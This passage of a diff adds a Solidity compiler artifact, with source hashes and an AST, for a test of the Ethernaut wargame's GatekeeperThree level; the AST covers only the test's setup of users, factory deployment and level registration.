"0x7e4586b97361a54696d955c052ea34ad8f25c008bd79848e229950bec5041159", + "urls": [ + "bzz-raw://6725474b1643e8d7284cf02d2be72a78f939ac5b85d8e55ba4f108a59144e8a1", + "dweb:/ipfs/QmQQozmRDdg4MJDHDAhMaRcAWHcTTrpro7Dftmdz3S4pJH" + ], + "license": "MIT" + }, + "src/levels/base/Level.sol": { + "keccak256": "0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf", + "urls": [ + "bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd", + "dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA" + ], + "license": "MIT" + }, + "src/metrics/Statistics.sol": { + "keccak256": "0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca", + "urls": [ + "bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5", + "dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf" + ], + "license": "MIT" + }, + "src/proxy/ProxyStats.sol": { + "keccak256": "0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be", + "urls": [ + "bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2", + "dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS" + ], + "license": "MIT" + }, + "test/levels/GatekeeperThree.t.sol": { + "keccak256": "0x4fffcfbf3154f4900adbba1c1f98600a2ac578331b3c5ad1acebf08533091a38", + "urls": [ + "bzz-raw://36a59ff7770f1bb6f8d67299805c2ef7137bce1f63aed52180cba1401dc3fa45", + "dweb:/ipfs/QmQDWAY8LRDs597tib8qBwMSTZZYaKU78My5FJ8cMSbhhv" + ], + "license": "MIT" + }, + "test/utils/Utils.sol": { + "keccak256": "0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307", + "urls": [ + "bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998", + "dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97" + ], + "license": "MIT" + } + }, + "version": 1 + }, + "ast": { + "absolutePath": "test/levels/GatekeeperThree.t.sol", + "id": 61591, + "exportedSymbols": { + "Ethernaut": [ + 49101 + ], + "GatekeeperThree": [ + 52870 + ], + "GatekeeperThreeAttack": [ + 49466 + ], + "GatekeeperThreeFactory": [ + 52925 + ], + "Level": [ + 55508 + ], + "StdAssertions": [ + 2695 + ], + "StdChains": [ + 3477 + ], + "StdCheats": [ + 6330 + ], + "StdInvariant": [ + 6655 + ], + "StdStorage": [ + 7427 + ], + "StdStyle": [ + 10597 + ], + "StdUtils": [ + 11975 + ], + "Test": [ + 12027 + ], + "TestBase": [ + 65 + ], + "TestGatekeeperThree": [ + 61590 + ], + "Utils": [ + 66673 + ], + "Vm": [ + 15673 + ], + "console": [ + 23737 + ], + "console2": [ + 31862 + ], + "safeconsole": [ + 46587 + ], + "stdError": [ + 6396 + ], + "stdJson": [ + 7247 + ], + "stdMath": [ + 7389 + ], + "stdStorage": [ + 9386 + ], + "stdToml": [ + 11189 + ] + }, + "nodeType": "SourceUnit", + "src": "32:2124:133", + "nodes": [ + { + "id": 61395, + "nodeType": "PragmaDirective", + "src": "32:23:133", + "nodes": [], + "literals": [ + "solidity", + "^", + "0.8", + ".0" + ] + }, + { + "id": 61396, + "nodeType": "ImportDirective", + "src": "57:28:133", + "nodes": [], + "absolutePath": "lib/forge-std/src/Test.sol", + "file": "forge-std/Test.sol", + "nameLocation": "-1:-1:-1", + "scope": 61591, + "sourceUnit": 12028, + "symbolAliases": [], + "unitAlias": "" + }, + { + "id": 61398, + "nodeType": "ImportDirective", + "src": "86:43:133", + "nodes": [], + "absolutePath": "test/utils/Utils.sol", + "file": "test/utils/Utils.sol", + "nameLocation": "-1:-1:-1", + "scope": 61591, + "sourceUnit": 66674, + "symbolAliases": [ + { + "foreign": { + "id": 61397, + "name": "Utils", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 66673, + "src": "94:5:133", + "typeDescriptions": {} + }, + "nameLocation": "-1:-1:-1" + } + ], + "unitAlias": "" + }, + { + "id": 61400, + "nodeType": "ImportDirective", + "src": "131:63:133", + "nodes": [], + "absolutePath": "src/levels/GatekeeperThree.sol", + "file": "src/levels/GatekeeperThree.sol", + "nameLocation": "-1:-1:-1", + "scope": 61591, + "sourceUnit": 52871, + "symbolAliases": [ + { + "foreign": { + "id": 61399, + "name": "GatekeeperThree", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 52870, + "src": "139:15:133", + "typeDescriptions": {} + }, + "nameLocation": "-1:-1:-1" + } + ], + "unitAlias": "" + }, + { + "id": 61402, + "nodeType": "ImportDirective", + "src": "195:77:133", + "nodes": [], + "absolutePath": "src/levels/GatekeeperThreeFactory.sol", + "file": "src/levels/GatekeeperThreeFactory.sol", + "nameLocation": "-1:-1:-1", + "scope": 61591, + "sourceUnit": 52926, + "symbolAliases": [ + { + "foreign": { + "id": 61401, + "name": "GatekeeperThreeFactory", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 52925, + "src": "203:22:133", + "typeDescriptions": {} + }, + "nameLocation": "-1:-1:-1" + } + ], + "unitAlias": "" + }, + { + "id": 61404, + "nodeType": "ImportDirective", + "src": "273:76:133", + "nodes": [], + "absolutePath": "src/attacks/GatekeeperThreeAttack.sol", + "file": "src/attacks/GatekeeperThreeAttack.sol", + "nameLocation": "-1:-1:-1", + "scope": 61591, + "sourceUnit": 49467, + "symbolAliases": [ + { + "foreign": { + "id": 61403, + "name": "GatekeeperThreeAttack", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 49466, + "src": "281:21:133", + "typeDescriptions": {} + }, + "nameLocation": "-1:-1:-1" + } + ], + "unitAlias": "" + }, + { + "id": 61406, + "nodeType": "ImportDirective", + "src": "350:48:133", + "nodes": [], + "absolutePath": "src/levels/base/Level.sol", + "file": "src/levels/base/Level.sol", + "nameLocation": "-1:-1:-1", + "scope": 61591, + "sourceUnit": 55509, + "symbolAliases": [ + { + "foreign": { + "id": 61405, + "name": "Level", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 55508, + "src": "358:5:133", + "typeDescriptions": {} + }, + "nameLocation": "-1:-1:-1" + } + ], + "unitAlias": "" + }, + { + "id": 61408, + "nodeType": "ImportDirective", + "src": "399:44:133", + "nodes": [], + "absolutePath": "src/Ethernaut.sol", + "file": "src/Ethernaut.sol", + "nameLocation": "-1:-1:-1", + "scope": 61591, + "sourceUnit": 49102, + "symbolAliases": [ + { + "foreign": { + "id": 61407, + "name": "Ethernaut", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 49101, + "src": "407:9:133", + "typeDescriptions": {} + }, + "nameLocation": "-1:-1:-1" + } + ], + "unitAlias": "" + }, + { + "id": 61590, + "nodeType": "ContractDefinition", + "src": "445:1710:133", + "nodes": [ + { + "id": 61415, + "nodeType": "VariableDeclaration", + "src": "495:19:133", + "nodes": [], + "constant": false, + "mutability": "mutable", + "name": "ethernaut", + "nameLocation": "505:9:133", + "scope": 61590, + "stateVariable": true, + "storageLocation": "default", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + }, + "typeName": { + "id": 61414, + "nodeType": "UserDefinedTypeName", + "pathNode": { + "id": 61413, + "name": "Ethernaut", + "nameLocations": [ + "495:9:133" + ], + "nodeType": "IdentifierPath", + "referencedDeclaration": 49101, + "src": "495:9:133" + }, + "referencedDeclaration": 49101, + "src": "495:9:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + } + }, + "visibility": "internal" + }, + { + "id": 61418, + "nodeType": "VariableDeclaration", + "src": "520:24:133", + "nodes": [], + "constant": false, + "mutability": "mutable", + "name": "instance", + "nameLocation": "536:8:133", + "scope": 61590, + "stateVariable": true, + "storageLocation": "default", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + }, + "typeName": { + "id": 61417, + "nodeType": "UserDefinedTypeName", + "pathNode": { + "id": 61416, + "name": "GatekeeperThree", + "nameLocations": [ + "520:15:133" + ], + "nodeType": "IdentifierPath", + "referencedDeclaration": 52870, + "src": "520:15:133" + }, + "referencedDeclaration": 52870, + "src": "520:15:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + } + }, + "visibility": "internal" + }, + { + "id": 61420, + "nodeType": "VariableDeclaration", + "src": "551:21:133", + "nodes": [], + "constant": false, + "mutability": "mutable", + "name": "owner", + "nameLocation": "567:5:133", + "scope": 61590, + "stateVariable": true, + "storageLocation": "default", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + }, + "typeName": { + "id": 61419, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "551:15:133", + "stateMutability": "payable", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + "visibility": "internal" + }, + { + "id": 61422, + "nodeType": "VariableDeclaration", + "src": "578:22:133", + "nodes": [], + "constant": false, + "mutability": "mutable", + "name": "player", + "nameLocation": "594:6:133", + "scope": 61590, + "stateVariable": true, + "storageLocation": "default", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + }, + "typeName": { + "id": 61421, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "578:15:133", + "stateMutability": "payable", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + "visibility": "internal" + }, + { + "id": 61524, + "nodeType": "FunctionDefinition", + "src": "787:613:133", + "nodes": [], + "body": { + "id": 61523, + "nodeType": "Block", + "src": "811:589:133", + "nodes": [], + "statements": [ + { + "assignments": [ + 61427 + ], + "declarations": [ + { + "constant": false, + "id": 61427, + "mutability": "mutable", + "name": "users", + "nameLocation": "846:5:133", + "nodeType": "VariableDeclaration", + "scope": 61523, + "src": "821:30:133", + "stateVariable": false, + "storageLocation": "memory", + "typeDescriptions": { + "typeIdentifier": "t_array$_t_address_payable_$dyn_memory_ptr", + "typeString": "address payable[]" + }, + "typeName": { + "baseType": { + "id": 61425, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "821:15:133", + "stateMutability": "payable", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + "id": 61426, + "nodeType": "ArrayTypeName", + "src": "821:17:133", + "typeDescriptions": { + "typeIdentifier": "t_array$_t_address_payable_$dyn_storage_ptr", + "typeString": "address payable[]" + } + }, + "visibility": "internal" + } + ], + "id": 61431, + "initialValue": { + "arguments": [ + { + "hexValue": "32", + "id": 61429, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "number", + "lValueRequested": false, + "nodeType": "Literal", + "src": "866:1:133", + "typeDescriptions": { + "typeIdentifier": "t_rational_2_by_1", + "typeString": "int_const 2" + }, + "value": "2" + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_rational_2_by_1", + "typeString": "int_const 2" + } + ], + "id": 61428, + "name": "createUsers", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 66448, + "src": "854:11:133", + "typeDescriptions": { + "typeIdentifier": "t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$", + "typeString": "function (uint256) returns (address payable[] memory)" + } + }, + "id": 61430, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "854:14:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_array$_t_address_payable_$dyn_memory_ptr", + "typeString": "address payable[] memory" + } + }, + "nodeType": "VariableDeclarationStatement", + "src": "821:47:133" + }, + { + "expression": { + "id": 61436, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "leftHandSide": { + "id": 61432, + "name": "owner", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61420, + "src": "879:5:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + "nodeType": "Assignment", + "operator": "=", + "rightHandSide": { + "baseExpression": { + "id": 61433, + "name": "users", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61427, + "src": "887:5:133", + "typeDescriptions": { + "typeIdentifier": "t_array$_t_address_payable_$dyn_memory_ptr", + "typeString": "address payable[] memory" + } + }, + "id": 61435, + "indexExpression": { + "hexValue": "30", + "id": 61434, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "number", + "lValueRequested": false, + "nodeType": "Literal", + "src": "893:1:133", + "typeDescriptions": { + "typeIdentifier": "t_rational_0_by_1", + "typeString": "int_const 0" + }, + "value": "0" + }, + "isConstant": false, + "isLValue": true, + "isPure": false, + "lValueRequested": false, + "nodeType": "IndexAccess", + "src": "887:8:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + "src": "879:16:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + "id": 61437, + "nodeType": "ExpressionStatement", + "src": "879:16:133" + }, + { + "expression": { + "arguments": [ + { + "id": 61441, + "name": "owner", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61420, + "src": "914:5:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + { + "hexValue": "4f776e6572", + "id": 61442, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "string", + "lValueRequested": false, + "nodeType": "Literal", + "src": "921:7:133", + "typeDescriptions": { + "typeIdentifier": "t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497", + "typeString": "literal_string \"Owner\"" + }, + "value": "Owner" + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + }, + { + "typeIdentifier": "t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497", + "typeString": "literal_string \"Owner\"" + } + ], + "expression": { + "id": 61438, + "name": "vm", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 58, + "src": "905:2:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Vm_$15673", + "typeString": "contract Vm" + } + }, + "id": 61440, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberLocation": "908:5:133", + "memberName": "label", + "nodeType": "MemberAccess", + "referencedDeclaration": 15042, + "src": "905:8:133", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$", + "typeString": "function (address,string memory) external" + } + }, + "id": 61443, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "905:24:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61444, + "nodeType": "ExpressionStatement", + "src": "905:24:133" + }, + { + "expression": { + "id": 61449, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "leftHandSide": { + "id": 61445, + "name": "player", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61422, + "src": "940:6:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + "nodeType": "Assignment", + "operator": "=", + "rightHandSide": { + "baseExpression": { + "id": 61446, + "name": "users", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61427, + "src": "949:5:133", + "typeDescriptions": { + "typeIdentifier": "t_array$_t_address_payable_$dyn_memory_ptr", + "typeString": "address payable[] memory" + } + }, + "id": 61448, + "indexExpression": { + "hexValue": "31", + "id": 61447, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "number", + "lValueRequested": false, + "nodeType": "Literal", + "src": "955:1:133", + "typeDescriptions": { + "typeIdentifier": "t_rational_1_by_1", + "typeString": "int_const 1" + }, + "value": "1" + }, + "isConstant": false, + "isLValue": true, + "isPure": false, + "lValueRequested": false, + "nodeType": "IndexAccess", + "src": "949:8:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + "src": "940:17:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + "id": 61450, + "nodeType": "ExpressionStatement", + "src": "940:17:133" + }, + { + "expression": { + "arguments": [ + { + "id": 61454, + "name": "player", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61422, + "src": "976:6:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + { + "hexValue": "506c61796572", + "id": 61455, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "string", + "lValueRequested": false, + "nodeType": "Literal", + "src": "984:8:133", + "typeDescriptions": { + "typeIdentifier": "t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4", + "typeString": "literal_string \"Player\"" + }, + "value": "Player" + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + }, + { + "typeIdentifier": "t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4", + "typeString": "literal_string \"Player\"" + } + ], + "expression": { + "id": 61451, + "name": "vm", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 58, + "src": "967:2:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Vm_$15673", + "typeString": "contract Vm" + } + }, + "id": 61453, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberLocation": "970:5:133", + "memberName": "label", + "nodeType": "MemberAccess", + "referencedDeclaration": 15042, + "src": "967:8:133", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$", + "typeString": "function (address,string memory) external" + } + }, + "id": 61456, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "967:26:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61457, + "nodeType": "ExpressionStatement", + "src": "967:26:133" + }, + { + "expression": { + "arguments": [ + { + "id": 61461, + "name": "owner", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61420, + "src": "1018:5:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + ], + "expression": { + "id": 61458, + "name": "vm", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 58, + "src": "1004:2:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Vm_$15673", + "typeString": "contract Vm" + } + }, + "id": 61460, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberLocation": "1007:10:133", + "memberName": "startPrank", + "nodeType": "MemberAccess", + "referencedDeclaration": 15454, + "src": "1004:13:133", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$_t_address_$returns$__$", + "typeString": "function (address) external" + } + }, + "id": 61462, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1004:20:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61463, + "nodeType": "ExpressionStatement", + "src": "1004:20:133" + }, + { + "expression": { + "id": 61468, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "leftHandSide": { + "id": 61464, + "name": "ethernaut", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61415, + "src": "1034:9:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + } + }, + "nodeType": "Assignment", + "operator": "=", + "rightHandSide": { + "arguments": [ + { + "id": 61466, + "name": "owner", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61420, + "src": "1073:5:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + ], + "id": 61465, + "name": "getEthernautWithStatsProxy", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 66624, + "src": "1046:26:133", + "typeDescriptions": { + "typeIdentifier": "t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$", + "typeString": "function (address) returns (contract Ethernaut)" + } + }, + "id": 61467, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1046:33:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + } + }, + "src": "1034:45:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + } + }, + "id": 61469, + "nodeType": "ExpressionStatement", + "src": "1034:45:133" + }, + { + "assignments": [ + 61472 + ], + "declarations": [ + { + "constant": false, + "id": 61472, + "mutability": "mutable", + "name": "factory", + "nameLocation": "1112:7:133", + "nodeType": "VariableDeclaration", + "scope": 61523, + "src": "1089:30:133", + "stateVariable": false, + "storageLocation": "default", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeFactory_$52925", + "typeString": "contract GatekeeperThreeFactory" + }, + "typeName": { + "id": 61471, + "nodeType": "UserDefinedTypeName", + "pathNode": { + "id": 61470, + "name": "GatekeeperThreeFactory", + "nameLocations": [ + "1089:22:133" + ], + "nodeType": "IdentifierPath", + "referencedDeclaration": 52925, + "src": "1089:22:133" + }, + "referencedDeclaration": 52925, + "src": "1089:22:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeFactory_$52925", + "typeString": "contract GatekeeperThreeFactory" + } + }, + "visibility": "internal" + } + ], + "id": 61477, + "initialValue": { + "arguments": [], + "expression": { + "argumentTypes": [], + "id": 61475, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "nodeType": "NewExpression", + "src": "1122:26:133", + "typeDescriptions": { + "typeIdentifier": "t_function_creation_nonpayable$__$returns$_t_contract$_GatekeeperThreeFactory_$52925_$", + "typeString": "function () returns (contract GatekeeperThreeFactory)" + }, + "typeName": { + "id": 61474, + "nodeType": "UserDefinedTypeName", + "pathNode": { + "id": 61473, + "name": "GatekeeperThreeFactory", + "nameLocations": [ + "1126:22:133" + ], + "nodeType": "IdentifierPath", + "referencedDeclaration": 52925, + "src": "1126:22:133" + }, + "referencedDeclaration": 52925, + "src": "1126:22:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeFactory_$52925", + "typeString": "contract GatekeeperThreeFactory" + } + } + }, + "id": 61476, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1122:28:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeFactory_$52925", + "typeString": "contract GatekeeperThreeFactory" + } + }, + "nodeType": "VariableDeclarationStatement", + "src": "1089:61:133" + }, + { + "expression": { + "arguments": [ + { + "arguments": [ + { + "arguments": [ + { + "id": 61484, + "name": "factory", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61472, + "src": "1198:7:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeFactory_$52925", + "typeString": "contract GatekeeperThreeFactory" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_contract$_GatekeeperThreeFactory_$52925", + "typeString": "contract GatekeeperThreeFactory" + } + ], + "id": 61483, + "isConstant": false, + "isLValue": false, + "isPure": true, + "lValueRequested": false, + "nodeType": "ElementaryTypeNameExpression", + "src": "1190:7:133", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_address_$", + "typeString": "type(address)" + }, + "typeName": { + "id": 61482, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "1190:7:133", + "typeDescriptions": {} + } + }, + "id": 61485, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1190:16:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_address", + "typeString": "address" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address", + "typeString": "address" + } + ], + "id": 61481, + "name": "Level", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 55508, + "src": "1184:5:133", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_contract$_Level_$55508_$", + "typeString": "type(contract Level)" + } + }, + "id": 61486, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1184:23:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_contract$_Level_$55508", + "typeString": "contract Level" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_contract$_Level_$55508", + "typeString": "contract Level" + } + ], + "expression": { + "id": 61478, + "name": "ethernaut", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61415, + "src": "1160:9:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + } + }, + "id": 61480, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberLocation": "1170:13:133", + "memberName": "registerLevel", + "nodeType": "MemberAccess", + "referencedDeclaration": 48913, + "src": "1160:23:133", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$", + "typeString": "function (contract Level) external" + } + }, + "id": 61487, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1160:48:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61488, + "nodeType": "ExpressionStatement", + "src": "1160:48:133" + }, + { + "expression": { + "arguments": [], + "expression": { + "argumentTypes": [], + "expression": { + "id": 61489, + "name": "vm", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 58, + "src": "1218:2:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Vm_$15673", + "typeString": "contract Vm" + } + }, + "id": 61491, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberLocation": "1221:9:133", + "memberName": "stopPrank", + "nodeType": "MemberAccess", + "referencedDeclaration": 15466, + "src": "1218:12:133", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$__$returns$__$", + "typeString": "function () external" + } + }, + "id": 61492, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1218:14:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61493, + "nodeType": "ExpressionStatement", + "src": "1218:14:133" + }, + { + "expression": { + "arguments": [ + { + "id": 61497, + "name": "player", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61422, + "src": "1257:6:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + ], + "expression": { + "id": 61494, + "name": "vm", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 58, + "src": "1243:2:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Vm_$15673", + "typeString": "contract Vm" + } + }, + "id": 61496, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberLocation": "1246:10:133", + "memberName": "startPrank", + "nodeType": "MemberAccess", + "referencedDeclaration": 15454, + "src": "1243:13:133", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$_t_address_$returns$__$", + "typeString": "function (address) external" + } + }, + "id": 61498, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1243:21:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61499, 